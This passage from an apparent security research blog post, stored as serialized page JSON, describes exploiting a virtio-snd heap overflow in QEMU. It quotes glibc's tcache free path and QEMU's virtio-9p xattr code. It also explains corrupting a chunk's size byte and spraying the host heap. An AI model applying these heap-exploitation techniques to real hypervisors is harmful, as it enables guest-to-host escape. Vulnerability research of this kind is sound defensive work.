[...]\n",{"type":24,"tag":158,"props":128721,"children":128722},{"class":160,"line":1618},[128723],{"type":24,"tag":158,"props":128724,"children":128725},{"emptyLinePlaceholder":16},[128726],{"type":29,"value":481},{"type":24,"tag":158,"props":128728,"children":128729},{"class":160,"line":1635},[128730,128734,128739],{"type":24,"tag":158,"props":128731,"children":128732},{"style":1914},[128733],{"type":29,"value":40621},{"type":24,"tag":158,"props":128735,"children":128736},{"style":496},[128737],{"type":29,"value":128738}," tcache_put",{"type":24,"tag":158,"props":128740,"children":128741},{"style":188},[128742],{"type":29,"value":128743}," (p, tc_idx);\n",{"type":24,"tag":158,"props":128745,"children":128746},{"class":160,"line":1644},[128747],{"type":24,"tag":158,"props":128748,"children":128749},{"style":188},[128750],{"type":29,"value":3967},{"type":24,"tag":25,"props":128752,"children":128753},{},[128754,128756,128761],{"type":29,"value":128755},"It is easy to notice that, when taking the tcache path, there are essentially no integrity checks on the ",{"type":24,"tag":154,"props":128757,"children":128759},{"className":128758},[],[128760],{"type":29,"value":125538},{"type":29,"value":128762}," field beyond the basic size-range decision needed to determine whether the chunk fits into tcache. The only explicit check here is that the pointer itself is aligned, which is not something we care about.",{"type":24,"tag":25,"props":128764,"children":128765},{},[128766,128768,128774,128775,128780],{"type":29,"value":128767},"In fact, even the version prior to 2.43 still performed more validation on the tcache path by calling ",{"type":24,"tag":154,"props":128769,"children":128771},{"className":128770},[],[128772],{"type":29,"value":128773},"check_inuse_chunk",{"type":29,"value":2262},{"type":24,"tag":154,"props":128776,"children":128778},{"className":128777},[],[128779],{"type":29,"value":125666},{"type":29,"value":25202},{"type":24,"tag":147,"props":128782,"children":128784},{"code":128783,"language":2907,"meta":7,"className":17751,"style":7},"void\n__libc_free (void *mem)\n{\n mchunkptr p;\n\n p = mem2chunk (mem);\n\n INTERNAL_SIZE_T size = chunksize (p);\n\n if (__glibc_unlikely (misaligned_chunk (p)))\n return malloc_printerr_tail (\"free(): invalid pointer\");\n\n check_inuse_chunk (arena_for_chunk (p), p); // [1]\n\n#if USE_TCACHE\n if (__glibc_likely (size \u003C mp_.tcache_max_bytes && tcache != NULL))\n [...]\n",[128785],{"type":24,"tag":154,"props":128786,"children":128787},{"__ignoreMap":7},[128788,128795,128822,128829,128836,128843,128862,128869,128888,128895,128922,128945,128952,128978,128985,128996,129053],{"type":24,"tag":158,"props":128789,"children":128790},{"class":160,"line":161},[128791],{"type":24,"tag":158,"props":128792,"children":128793},{"style":165},[128794],{"type":29,"value":128489},{"type":24,"tag":158,"props":128796,"children":128797},{"class":160,"line":213},[128798,128802,128806,128810,128814,128818],{"type":24,"tag":158,"props":128799,"children":128800},{"style":496},[128801],{"type":29,"value":127755},{"type":24,"tag":158,"props":128803,"children":128804},{"style":188},[128805],{"type":29,"value":2262},{"type":24,"tag":158,"props":128807,"children":128808},{"style":165},[128809],{"type":29,"value":52899},{"type":24,"tag":158,"props":128811,"children":128812},{"style":222},[128813],{"type":29,"value":615},{"type":24,"tag":158,"props":128815,"children":128816},{"style":177},[128817],{"type":29,"value":41929},{"type":24,"tag":158,"props":128819,"children":128820},{"style":188},[128821],{"type":29,"value":2125},{"type":24,"tag":158,"props":128823,"children":128824},{"class":160,"line":238},[128825],{"type":24,"tag":158,"props":128826,"children":128827},{"style":188},[128828],{"type":29,"value":1710},{"type":24,"tag":158,"props":128830,"children":128831},{"class":160,"line":259},[128832],{"type":24,"tag":158,"props":128833,"children":128834},{"style":188},[128835],{"type":29,"value":127798},{"type":24,"tag":158,"props":128837,"children":128838},{"class":160,"line":280},[128839],{"type":24,"tag":158,"props":128840,"children":128841},{"emptyLinePlaceholder":16},[128842],{"type":29,"value":481},{"type":24,"tag":158,"props":128844,"children":128845},{"class":160,"line":301},[128846,128850,128854,128858],{"type":24,"tag":158,"props":128847,"children":128848},{"style":188},[128849],{"type":29,"value":127813},{"type":24,"tag":158,"props":128851,"children":128852},{"style":222},[128853],{"type":29,"value":1285},{"type":24,"tag":158,"props":128855,"children":128856},{"style":496},[128857],{"type":29,"value":127822},{"type":24,"tag":158,"props":128859,"children":128860},{"style":188},[128861],{"type":29,"value":127827},{"type":24,"tag":158,"props":128863,"children":128864},{"class":160,"line":626},[128865],{"type":24,"tag":158,"props":128866,"children":128867},{"emptyLinePlaceholder":16},[128868],{"type":29,"value":481},{"type":24,"tag":158,"props":128870,"children":128871},{"class":160,"line":668},[128872,128876,128880,128884],{"type":24,"tag":158,"props":128873,"children":128874},{"style":188},[128875],{"type":29,"value":128571},{"type":24,"tag":158,"props":128877,"children":128878},{"style":222},[128879],{"type":29,"value":1285},{"type":24,"tag":158,"props":128881,"children":128882},{"style":496},[128883],{"type":29,"value":128149},{"type":24,"tag":158,"props":128885,"children":128886},{"style":188},[128887],{"type":29,"value":127868},{"type":24,"tag":158,"props":128889,"children":128890},{"class":160,"line":676},[128891],{"type":24,"tag":158,"props":128892,"children":128893},{"emptyLinePlaceholder":16},[128894],{"type":29,"value":481},{"type":24,"tag":158,"props":128896,"children":128897},{"class":160,"line":684},[128898,128902,128906,128910,128914,128918],{"type":24,"tag":158,"props":128899,"children":128900},{"style":1914},[128901],{"type":29,"value":32655},{"type":24,"tag":158,"props":128903,"children":128904},{"style":188},[128905],{"type":29,"value":2262},{"type":24,"tag":158,"props":128907,"children":128908},{"style":496},[128909],{"type":29,"value":128344},{"type":24,"tag":158,"props":128911,"children":128912},{"style":188},[128913],{"type":29,"value":2262},{"type":24,"tag":158,"props":128915,"children":128916},{"style":496},[128917],{"type":29,"value":128278},{"type":24,"tag":158,"props":128919,"children":128920},{"style":188},[128921],{"type":29,"value":128618},{"type":24,"tag":158,"props":128923,"children":128924},{"class":160,"line":700},[128925,128929,128933,128937,128941],{"type":24,"tag":158,"props":128926,"children":128927},{"style":1914},[128928],{"type":29,"value":18227},{"type":24,"tag":158,"props":128930,"children":128931},{"style":496},[128932],{"type":29,"value":128630},{"type":24,"tag":158,"props":128934,"children":128935},{"style":188},[128936],{"type":29,"value":2262},{"type":24,"tag":158,"props":128938,"children":128939},{"style":1108},[128940],{"type":29,"value":128308},{"type":24,"tag":158,"props":128942,"children":128943},{"style":188},[128944],{"type":29,"value":1071},{"type":24,"tag":158,"props":128946,"children":128947},{"class":160,"line":785},[128948],{"type":24,"tag":158,"props":128949,"children":128950},{"emptyLinePlaceholder":16},[128951],{"type":29,"value":481},{"type":24,"tag":158,"props":128953,"children":128954},{"class":160,"line":1447},[128955,128959,128963,128968,128973],{"type":24,"tag":158,"props":128956,"children":128957},{"style":496},[128958],{"type":29,"value":128411},{"type":24,"tag":158,"props":128960,"children":128961},{"style":188},[128962],{"type":29,"value":2262},{"type":24,"tag":158,"props":128964,"children":128965},{"style":496},[128966],{"type":29,"value":128967},"arena_for_chunk",{"type":24,"tag":158,"props":128969,"children":128970},{"style":188},[128971],{"type":29,"value":128972}," (p), p);",{"type":24,"tag":158,"props":128974,"children":128975},{"style":2588},[128976],{"type":29,"value":128977}," // [1]\n",{"type":24,"tag":158,"props":128979,"children":128980},{"class":160,"line":1509},[128981],{"type":24,"tag":158,"props":128982,"children":128983},{"emptyLinePlaceholder":16},[128984],{"type":29,"value":481},{"type":24,"tag":158,"props":128986,"children":128987},{"class":160,"line":1527},[128988,128992],{"type":24,"tag":158,"props":128989,"children":128990},{"style":1914},[128991],{"type":29,"value":128657},{"type":24,"tag":158,"props":128993,"children":128994},{"style":496},[128995],{"type":29,"value":128662},{"type":24,"tag":158,"props":128997,"children":128998},{"class":160,"line":1545},[128999,129003,129007,129011,129015,129019,129023,129027,129031,129035,129040,129044,129049],{"type":24,"tag":158,"props":129000,"children":129001},{"style":1914},[129002],{"type":29,"value":32655},{"type":24,"tag":158,"props":129004,"children":129005},{"style":188},[129006],{"type":29,"value":2262},{"type":24,"tag":158,"props":129008,"children":129009},{"style":496},[129010],{"type":29,"value":128678},{"type":24,"tag":158,"props":129012,"children":129013},{"style":188},[129014],{"type":29,"value":128349},{"type":24,"tag":158,"props":129016,"children":129017},{"style":222},[129018],{"type":29,"value":3760},{"type":24,"tag":158,"props":129020,"children":129021},{"style":177},[129022],{"type":29,"value":128691},{"type":24,"tag":158,"props":129024,"children":129025},{"style":188},[129026],{"type":29,"value":347},{"type":24,"tag":158,"props":129028,"children":129029},{"style":177},[129030],{"type":29,"value":128700},{"type":24,"tag":158,"props":129032,"children":129033},{"style":222},[129034],{"type":29,"value":15419},{"type":24,"tag":158,"props":129036,"children":129037},{"style":188},[129038],{"type":29,"value":129039}," tcache ",{"type":24,"tag":158,"props":129041,"children":129042},{"style":222},[129043],{"type":29,"value":16924},{"type":24,"tag":158,"props":129045,"children":129046},{"style":165},[129047],{"type":29,"value":129048}," NULL",{"type":24,"tag":158,"props":129050,"children":129051},{"style":188},[129052],{"type":29,"value":20955},{"type":24,"tag":158,"props":129054,"children":129055},{"class":160,"line":1618},[129056],{"type":24,"tag":158,"props":129057,"children":129058},{"style":188},[129059],{"type":29,"value":128431},{"type":24,"tag":25,"props":129061,"children":129062},{},[129063,129065,129070],{"type":29,"value":129064},"This means that as long as we can reliably force the corrupted chunk down the tcache path, we no longer need to worry much about integrity checks on ",{"type":24,"tag":154,"props":129066,"children":129068},{"className":129067},[],[129069],{"type":29,"value":125538},{"type":29,"value":129071},", because on the latest 2.43 glibc they are non-existent.",{"type":24,"tag":20034,"props":129073,"children":129074},{},[],{"type":24,"tag":25,"props":129076,"children":129077},{},[129078,129080,129085,129087,129093,129095,129100,129102,129108],{"type":29,"value":129079},"With that in mind, the idea we settled on was to allocate a chunk whose ",{"type":24,"tag":154,"props":129081,"children":129083},{"className":129082},[],[129084],{"type":29,"value":125538},{"type":29,"value":129086}," field was initially ",{"type":24,"tag":154,"props":129088,"children":129090},{"className":129089},[],[129091],{"type":29,"value":129092},"0x200",{"type":29,"value":129094},", then trigger the overflow and corrupt only its low byte. If the byte written is at least ",{"type":24,"tag":154,"props":129096,"children":129098},{"className":129097},[],[129099],{"type":29,"value":127715},{"type":29,"value":129101},", the resulting value would correspond to a larger, tcache-eligible, size in range ",{"type":24,"tag":154,"props":129103,"children":129105},{"className":129104},[],[129106],{"type":29,"value":129107},"[0x210, 0x2f0]",{"type":29,"value":129109},". That would let us free the chunk as an oversized entry into the tcache freelist, which we could later reclaim and overlap chunks for a better primitive.",{"type":24,"tag":25,"props":129111,"children":129112},{},[129113],{"type":29,"value":129114},"This approach gives us much better odds of success. In fact, with the stream configuration we use later, we can make this behavior reliable enough to exploit consistently.",{"type":24,"tag":395,"props":129116,"children":129118},{"id":129117},"heap-spraying",[129119],{"type":29,"value":129120},"Heap Spraying",{"type":24,"tag":25,"props":129122,"children":129123},{},[129124,129126,129131],{"type":29,"value":129125},"With that idea in mind, we now need a way to shape the heap so that a ",{"type":24,"tag":154,"props":129127,"children":129129},{"className":129128},[],[129130],{"type":29,"value":129092},{"type":29,"value":129132},"-sized chunk is placed immediately after the vulnerable virtio-snd buffer. In addition, we need to drain any existing entries from the relevant tcache freelist so that it is not full when we later free the corrupted oversized chunk.",{"type":24,"tag":25,"props":129134,"children":129135},{},[129136,129138,129143],{"type":29,"value":129137},"Unfortunately, while virtio-snd does provide some heap spraying primitives through its buffer allocations, they are fairly limited. For example, we could only allocate up to 64 buffers at a time. On top of that, ",{"type":24,"tag":154,"props":129139,"children":129141},{"className":129140},[],[129142],{"type":29,"value":125733},{"type":29,"value":129144}," is a FIFO queue, so we could not control the order in which those buffers were freed - they would always be released in the same order they were inserted.",{"type":24,"tag":25,"props":129146,"children":129147},{},[129148],{"type":29,"value":129149},"For the purposes of this blog post, we therefore enabled another virtio device to help with heap shaping.",{"type":24,"tag":20134,"props":129151,"children":129153},{"id":129152},"virtio-9p",[129154],{"type":29,"value":129152},{"type":24,"tag":25,"props":129156,"children":129157},{},[129158,129163],{"type":24,"tag":154,"props":129159,"children":129161},{"className":129160},[],[129162],{"type":29,"value":129152},{"type":29,"value":129164}," is a paravirtualized filesystem device that lets the guest access a directory exported by the host through the 9P protocol. The part that interested us most was its handling of extended attributes, or xattrs.",{"type":24,"tag":25,"props":129166,"children":129167},{},[129168,129170,129176,129178,129184,129185,129191,129193,129198],{"type":29,"value":129169},"Through a ",{"type":24,"tag":154,"props":129171,"children":129173},{"className":129172},[],[129174],{"type":29,"value":129175},"P9_TXATTRCREATE",{"type":29,"value":129177}," request, we can allocate host-side buffers for both the ",{"type":24,"tag":154,"props":129179,"children":129181},{"className":129180},[],[129182],{"type":29,"value":129183},".name",{"type":29,"value":1826},{"type":24,"tag":154,"props":129186,"children":129188},{"className":129187},[],[129189],{"type":29,"value":129190},".value",{"type":29,"value":129192}," fields, with the size of ",{"type":24,"tag":154,"props":129194,"children":129196},{"className":129195},[],[129197],{"type":29,"value":129190},{"type":29,"value":129199}," being directly controlled by the guest.",{"type":24,"tag":147,"props":129201,"children":129203},{"code":129202,"language":2907,"meta":7,"className":17751,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n int flags, rflags = 0;\n int32_t fid;\n uint64_t size;\n ssize_t err = 0;\n V9fsString name;\n size_t offset = 7;\n V9fsFidState *file_fidp;\n V9fsFidState *xattr_fidp;\n V9fsPDU *pdu = opaque;\n\n v9fs_string_init(&name);\n err = pdu_unmarshal(pdu, offset, \"dsqd\", &fid, &name, &size, &flags);\n if (err \u003C 0) {\n goto out_nofid;\n }\n\n [...]\n\n if (size > P9_XATTR_SIZE_MAX) {\n err = -E2BIG;\n goto out_nofid;\n }\n\n [...]\n\n v9fs_string_init(&xattr_fidp->fs.xattr.name);\n v9fs_string_copy(&xattr_fidp->fs.xattr.name, &name);\n xattr_fidp->fs.xattr.value = g_malloc0(size);\n}\n",[129204],{"type":24,"tag":154,"props":129205,"children":129206},{"__ignoreMap":7},[129207,129249,129256,129280,129293,129304,129329,129337,129362,129379,129395,129421,129428,129449,129515,129539,129552,129559,129566,129573,129580,129600,129621,129632,129639,129646,129653,129660,129709,129765,129810],{"type":24,"tag":158,"props":129208,"children":129209},{"class":160,"line":161},[129210,129214,129218,129223,129228,129232,129236,129240,129245],{"type":24,"tag":158,"props":129211,"children":129212},{"style":165},[129213],{"type":29,"value":52316},{"type":24,"tag":158,"props":129215,"children":129216},{"style":165},[129217],{"type":29,"value":52321},{"type":24,"tag":158,"props":129219,"children":129220},{"style":188},[129221],{"type":29,"value":129222}," coroutine_fn ",{"type":24,"tag":158,"props":129224,"children":129225},{"style":496},[129226],{"type":29,"value":129227},"v9fs_xattrcreate",{"type":24,"tag":158,"props":129229,"children":129230},{"style":188},[129231],{"type":29,"value":504},{"type":24,"tag":158,"props":129233,"children":129234},{"style":165},[129235],{"type":29,"value":52899},{"type":24,"tag":158,"props":129237,"children":129238},{"style":222},[129239],{"type":29,"value":615},{"type":24,"tag":158,"props":129241,"children":129242},{"style":177},[129243],{"type":29,"value":129244},"opaque",{"type":24,"tag":158,"props":129246,"children":129247},{"style":188},[129248],{"type":29,"value":2125},{"type":24,"tag":158,"props":129250,"children":129251},{"class":160,"line":213},[129252],{"type":24,"tag":158,"props":129253,"children":129254},{"style":188},[129255],{"type":29,"value":1710},{"type":24,"tag":158,"props":129257,"children":129258},{"class":160,"line":238},[129259,129263,129268,129272,129276],{"type":24,"tag":158,"props":129260,"children":129261},{"style":165},[129262],{"type":29,"value":20319},{"type":24,"tag":158,"props":129264,"children":129265},{"style":188},[129266],{"type":29,"value":129267}," flags, rflags ",{"type":24,"tag":158,"props":129269,"children":129270},{"style":222},[129271],{"type":29,"value":1285},{"type":24,"tag":158,"props":129273,"children":129274},{"style":465},[129275],{"type":29,"value":2025},{"type":24,"tag":158,"props":129277,"children":129278},{"style":188},[129279],{"type":29,"value":473},{"type":24,"tag":158,"props":129281,"children":129282},{"class":160,"line":259},[129283,129288],{"type":24,"tag":158,"props":129284,"children":129285},{"style":165},[129286],{"type":29,"value":129287}," int32_t",{"type":24,"tag":158,"props":129289,"children":129290},{"style":188},[129291],{"type":29,"value":129292}," fid;\n",{"type":24,"tag":158,"props":129294,"children":129295},{"class":160,"line":280},[129296,129300],{"type":24,"tag":158,"props":129297,"children":129298},{"style":165},[129299],{"type":29,"value":56885},{"type":24,"tag":158,"props":129301,"children":129302},{"style":188},[129303],{"type":29,"value":125880},{"type":24,"tag":158,"props":129305,"children":129306},{"class":160,"line":301},[129307,129312,129317,129321,129325],{"type":24,"tag":158,"props":129308,"children":129309},{"style":165},[129310],{"type":29,"value":129311}," ssize_t",{"type":24,"tag":158,"props":129313,"children":129314},{"style":188},[129315],{"type":29,"value":129316}," err ",{"type":24,"tag":158,"props":129318,"children":129319},{"style":222},[129320],{"type":29,"value":1285},{"type":24,"tag":158,"props":129322,"children":129323},{"style":465},[129324],{"type":29,"value":2025},{"type":24,"tag":158,"props":129326,"children":129327},{"style":188},[129328],{"type":29,"value":473},{"type":24,"tag":158,"props":129330,"children":129331},{"class":160,"line":626},[129332],{"type":24,"tag":158,"props":129333,"children":129334},{"style":188},[129335],{"type":29,"value":129336}," V9fsString name;\n",{"type":24,"tag":158,"props":129338,"children":129339},{"class":160,"line":668},[129340,129344,129349,129353,129358],{"type":24,"tag":158,"props":129341,"children":129342},{"style":165},[129343],{"type":29,"value":17801},{"type":24,"tag":158,"props":129345,"children":129346},{"style":188},[129347],{"type":29,"value":129348}," offset ",{"type":24,"tag":158,"props":129350,"children":129351},{"style":222},[129352],{"type":29,"value":1285},{"type":24,"tag":158,"props":129354,"children":129355},{"style":465},[129356],{"type":29,"value":129357}," 7",{"type":24,"tag":158,"props":129359,"children":129360},{"style":188},[129361],{"type":29,"value":473},{"type":24,"tag":158,"props":129363,"children":129364},{"class":160,"line":676},[129365,129370,129374],{"type":24,"tag":158,"props":129366,"children":129367},{"style":188},[129368],{"type":29,"value":129369}," V9fsFidState ",{"type":24,"tag":158,"props":129371,"children":129372},{"style":222},[129373],{"type":29,"value":577},{"type":24,"tag":158,"props":129375,"children":129376},{"style":188},[129377],{"type":29,"value":129378},"file_fidp;\n",{"type":24,"tag":158,"props":129380,"children":129381},{"class":160,"line":684},[129382,129386,129390],{"type":24,"tag":158,"props":129383,"children":129384},{"style":188},[129385],{"type":29,"value":129369},{"type":24,"tag":158,"props":129387,"children":129388},{"style":222},[129389],{"type":29,"value":577},{"type":24,"tag":158,"props":129391,"children":129392},{"style":188},[129393],{"type":29,"value":129394},"xattr_fidp;\n",{"type":24,"tag":158,"props":129396,"children":129397},{"class":160,"line":700},[129398,129403,129407,129412,129416],{"type":24,"tag":158,"props":129399,"children":129400},{"style":188},[129401],{"type":29,"value":129402}," V9fsPDU ",{"type":24,"tag":158,"props":129404,"children":129405},{"style":222},[129406],{"type":29,"value":577},{"type":24,"tag":158,"props":129408,"children":129409},{"style":188},[129410],{"type":29,"value":129411},"pdu ",{"type":24,"tag":158,"props":129413,"children":129414},{"style":222},[129415],{"type":29,"value":1285},{"type":24,"tag":158,"props":129417,"children":129418},{"style":188},[129419],{"type":29,"value":129420}," opaque;\n",{"type":24,"tag":158,"props":129422,"children":129423},{"class":160,"line":785},[129424],{"type":24,"tag":158,"props":129425,"children":129426},{"emptyLinePlaceholder":16},[129427],{"type":29,"value":481},{"type":24,"tag":158,"props":129429,"children":129430},{"class":160,"line":1447},[129431,129436,129440,129444],{"type":24,"tag":158,"props":129432,"children":129433},{"style":496},[129434],{"type":29,"value":129435}," v9fs_string_init",{"type":24,"tag":158,"props":129437,"children":129438},{"style":188},[129439],{"type":29,"value":504},{"type":24,"tag":158,"props":129441,"children":129442},{"style":222},[129443],{"type":29,"value":2212},{"type":24,"tag":158,"props":129445,"children":129446},{"style":188},[129447],{"type":29,"value":129448},"name);\n",{"type":24,"tag":158,"props":129450,"children":129451},{"class":160,"line":1509},[129452,129457,129461,129466,129471,129476,129480,129484,129489,129493,129498,129502,129506,129510],{"type":24,"tag":158,"props":129453,"children":129454},{"style":188},[129455],{"type":29,"value":129456}," err ",{"type":24,"tag":158,"props":129458,"children":129459},{"style":222},[129460],{"type":29,"value":1285},{"type":24,"tag":158,"props":129462,"children":129463},{"style":496},[129464],{"type":29,"value":129465}," pdu_unmarshal",{"type":24,"tag":158,"props":129467,"children":129468},{"style":188},[129469],{"type":29,"value":129470},"(pdu, offset, ",{"type":24,"tag":158,"props":129472,"children":129473},{"style":1108},[129474],{"type":29,"value":129475},"\"dsqd\"",{"type":24,"tag":158,"props":129477,"children":129478},{"style":188},[129479],{"type":29,"value":191},{"type":24,"tag":158,"props":129481,"children":129482},{"style":222},[129483],{"type":29,"value":2212},{"type":24,"tag":158,"props":129485,"children":129486},{"style":188},[129487],{"type":29,"value":129488},"fid, ",{"type":24,"tag":158,"props":129490,"children":129491},{"style":222},[129492],{"type":29,"value":2212},{"type":24,"tag":158,"props":129494,"children":129495},{"style":188},[129496],{"type":29,"value":129497},"name, ",{"type":24,"tag":158,"props":129499,"children":129500},{"style":222},[129501],{"type":29,"value":2212},{"type":24,"tag":158,"props":129503,"children":129504},{"style":188},[129505],{"type":29,"value":128248},{"type":24,"tag":158,"props":129507,"children":129508},{"style":222},[129509],{"type":29,"value":2212},{"type":24,"tag":158,"props":129511,"children":129512},{"style":188},[129513],{"type":29,"value":129514},"flags);\n",{"type":24,"tag":158,"props":129516,"children":129517},{"class":160,"line":1527},[129518,129522,129527,129531,129535],{"type":24,"tag":158,"props":129519,"children":129520},{"style":1914},[129521],{"type":29,"value":3160},{"type":24,"tag":158,"props":129523,"children":129524},{"style":188},[129525],{"type":29,"value":129526}," (err ",{"type":24,"tag":158,"props":129528,"children":129529},{"style":222},[129530],{"type":29,"value":3760},{"type":24,"tag":158,"props":129532,"children":129533},{"style":465},[129534],{"type":29,"value":2025},{"type":24,"tag":158,"props":129536,"children":129537},{"style":188},[129538],{"type":29,"value":16038},{"type":24,"tag":158,"props":129540,"children":129541},{"class":160,"line":1545},[129542,129547],{"type":24,"tag":158,"props":129543,"children":129544},{"style":1914},[129545],{"type":29,"value":129546}," goto",{"type":24,"tag":158,"props":129548,"children":129549},{"style":188},[129550],{"type":29,"value":129551}," out_nofid;\n",{"type":24,"tag":158,"props":129553,"children":129554},{"class":160,"line":1618},[129555],{"type":24,"tag":158,"props":129556,"children":129557},{"style":188},[129558],{"type":29,"value":3967},{"type":24,"tag":158,"props":129560,"children":129561},{"class":160,"line":1635},[129562],{"type":24,"tag":158,"props":129563,"children":129564},{"emptyLinePlaceholder":16},[129565],{"type":29,"value":481},{"type":24,"tag":158,"props":129567,"children":129568},{"class":160,"line":1644},[129569],{"type":24,"tag":158,"props":129570,"children":129571},{"style":188},[129572],{"type":29,"value":106079},{"type":24,"tag":158,"props":129574,"children":129575},{"class":160,"line":1652},[129576],{"type":24,"tag":158,"props":129577,"children":129578},{"emptyLinePlaceholder":16},[129579],{"type":29,"value":481},{"type":24,"tag":158,"props":129581,"children":129582},{"class":160,"line":1704},[129583,129587,129591,129595],{"type":24,"tag":158,"props":129584,"children":129585},{"style":1914},[129586],{"type":29,"value":3160},{"type":24,"tag":158,"props":129588,"children":129589},{"style":188},[129590],{"type":29,"value":128349},{"type":24,"tag":158,"props":129592,"children":129593},{"style":222},[129594],{"type":29,"value":1280},{"type":24,"tag":158,"props":129596,"children":129597},{"style":188},[129598],{"type":29,"value":129599}," P9_XATTR_SIZE_MAX) {\n",{"type":24,"tag":158,"props":129601,"children":129602},{"class":160,"line":1713},[129603,129608,129612,129616],{"type":24,"tag":158,"props":129604,"children":129605},{"style":188},[129606],{"type":29,"value":129607}," err ",{"type":24,"tag":158,"props":129609,"children":129610},{"style":222},[129611],{"type":29,"value":1285},{"type":24,"tag":158,"props":129613,"children":129614},{"style":222},[129615],{"type":29,"value":52527},{"type":24,"tag":158,"props":129617,"children":129618},{"style":188},[129619],{"type":29,"value":129620},"E2BIG;\n",{"type":24,"tag":158,"props":129622,"children":129623},{"class":160,"line":1731},[129624,129628],{"type":24,"tag":158,"props":129625,"children":129626},{"style":1914},[129627],{"type":29,"value":129546},{"type":24,"tag":158,"props":129629,"children":129630},{"style":188},[129631],{"type":29,"value":129551},{"type":24,"tag":158,"props":129633,"children":129634},{"class":160,"line":5485},[129635],{"type":24,"tag":158,"props":129636,"children":129637},{"style":188},[129638],{"type":29,"value":3967},{"type":24,"tag":158,"props":129640,"children":129641},{"class":160,"line":5493},[129642],{"type":24,"tag":158,"props":129643,"children":129644},{"emptyLinePlaceholder":16},[129645],{"type":29,"value":481},{"type":24,"tag":158,"props":129647,"children":129648},{"class":160,"line":5553},[129649],{"type":24,"tag":158,"props":129650,"children":129651},{"style":188},[129652],{"type":29,"value":106079},{"type":24,"tag":158,"props":129654,"children":129655},{"class":160,"line":10636},[129656],{"type":24,"tag":158,"props":129657,"children":129658},{"emptyLinePlaceholder":16},[129659],{"type":29,"value":481},{"type":24,"tag":158,"props":129661,"children":129662},{"class":160,"line":10652},[129663,129667,129671,129675,129680,129684,129688,129692,129697,129701,129705],{"type":24,"tag":158,"props":129664,"children":129665},{"style":496},[129666],{"type":29,"value":129435},{"type":24,"tag":158,"props":129668,"children":129669},{"style":188},[129670],{"type":29,"value":504},{"type":24,"tag":158,"props":129672,"children":129673},{"style":222},[129674],{"type":29,"value":2212},{"type":24,"tag":158,"props":129676,"children":129677},{"style":177},[129678],{"type":29,"value":129679},"xattr_fidp",{"type":24,"tag":158,"props":129681,"children":129682},{"style":188},[129683],{"type":29,"value":14991},{"type":24,"tag":158,"props":129685,"children":129686},{"style":177},[129687],{"type":29,"value":38246},{"type":24,"tag":158,"props":129689,"children":129690},{"style":188},[129691],{"type":29,"value":347},{"type":24,"tag":158,"props":129693,"children":129694},{"style":177},[129695],{"type":29,"value":129696},"xattr",{"type":24,"tag":158,"props":129698,"children":129699},{"style":188},[129700],{"type":29,"value":347},{"type":24,"tag":158,"props":129702,"children":129703},{"style":177},[129704],{"type":29,"value":49769},{"type":24,"tag":158,"props":129706,"children":129707},{"style":188},[129708],{"type":29,"value":1071},{"type":24,"tag":158,"props":129710,"children":129711},{"class":160,"line":10696},[129712,129717,129721,129725,129729,129733,129737,129741,129745,129749,129753,129757,129761],{"type":24,"tag":158,"props":129713,"children":129714},{"style":496},[129715],{"type":29,"value":129716}," v9fs_string_copy",{"type":24,"tag":158,"props":129718,"children":129719},{"style":188},[129720],{"type":29,"value":504},{"type":24,"tag":158,"props":129722,"children":129723},{"style":222},[129724],{"type":29,"value":2212},{"type":24,"tag":158,"props":129726,"children":129727},{"style":177},[129728],{"type":29,"value":129679},{"type":24,"tag":158,"props":129730,"children":129731},{"style":188},[129732],{"type":29,"value":14991},{"type":24,"tag":158,"props":129734,"children":129735},{"style":177},[129736],{"type":29,"value":38246},{"type":24,"tag":158,"props":129738,"children":129739},{"style":188},[129740],{"type":29,"value":347},{"type":24,"tag":158,"props":129742,"children":129743},{"style":177},[129744],{"type":29,"value":129696},{"type":24,"tag":158,"props":129746,"children":129747},{"style":188},[129748],{"type":29,"value":347},{"type":24,"tag":158,"props":129750,"children":129751},{"style":177},[129752],{"type":29,"value":49769},{"type":24,"tag":158,"props":129754,"children":129755},{"style":188},[129756],{"type":29,"value":191},{"type":24,"tag":158,"props":129758,"children":129759},{"style":222},[129760],{"type":29,"value":2212},{"type":24,"tag":158,"props":129762,"children":129763},{"style":188},[129764],{"type":29,"value":129448},{"type":24,"tag":158,"props":129766,"children":129767},{"class":160,"line":10801},[129768,129773,129777,129781,129785,129789,129793,129797,129801,129805],{"type":24,"tag":158,"props":129769,"children":129770},{"style":177},[129771],{"type":29,"value":129772}," xattr_fidp",{"type":24,"tag":158,"props":129774,"children":129775},{"style":188},[129776],{"type":29,"value":14991},{"type":24,"tag":158,"props":129778,"children":129779},{"style":177},[129780],{"type":29,"value":38246},{"type":24,"tag":158,"props":129782,"children":129783},{"style":188},[129784],{"type":29,"value":347},{"type":24,"tag":158,"props":129786,"children":129787},{"style":177},[129788],{"type":29,"value":129696},{"type":24,"tag":158,"props":129790,"children":129791},{"style":188},[129792],{"type":29,"value":347},{"type":24,"tag":158,"props":129794,"children":129795},{"style":177},[129796],{"type":29,"value":40416},{"type":24,"tag":158,"props":129798,"children":129799},{"style":222},[129800],{"type":29,"value":462},{"type":24,"tag":158,"props":129802,"children":129803},{"style":496},[129804],{"type":29,"value":125451},{"type":24,"tag":158,"props":129806,"children":129807},{"style":188},[129808],{"type":29,"value":129809},"(size);\n",{"type":24,"tag":158,"props":129811,"children":129812},{"class":160,"line":24754},[129813],{"type":24,"tag":158,"props":129814,"children":129815},{"style":188},[129816],{"type":29,"value":307},{"type":24,"tag":25,"props":129818,"children":129819},{},[129820,129822,129827,129829,129834,129835,129840,129842,129847],{"type":29,"value":129821},"Because the ",{"type":24,"tag":154,"props":129823,"children":129825},{"className":129824},[],[129826],{"type":29,"value":129183},{"type":29,"value":129828}," field is handled as a string, embedded null bytes are not preserved, which makes it less useful for our purposes. It also introduces some extra allocation noise into the heap, since creating an xattr allocates both ",{"type":24,"tag":154,"props":129830,"children":129832},{"className":129831},[],[129833],{"type":29,"value":129183},{"type":29,"value":1826},{"type":24,"tag":154,"props":129836,"children":129838},{"className":129837},[],[129839],{"type":29,"value":129190},{"type":29,"value":129841},", not just the ",{"type":24,"tag":154,"props":129843,"children":129845},{"className":129844},[],[129846],{"type":29,"value":129190},{"type":29,"value":129848}," we actually care about. But we will get around this later in the blog post.",{"type":24,"tag":25,"props":129850,"children":129851},{},[129852,129853,129858],{"type":29,"value":17850},{"type":24,"tag":154,"props":129854,"children":129856},{"className":129855},[],[129857],{"type":29,"value":129190},{"type":29,"value":129859}," field, however, is much more interesting: it gives us a guest-controlled heap allocation of an arbitrary size. Each of these allocations is tied to its own xattr FID, which means it stays alive for as long as that FID remains live. In practice, this gives us a large number of persistent host-side 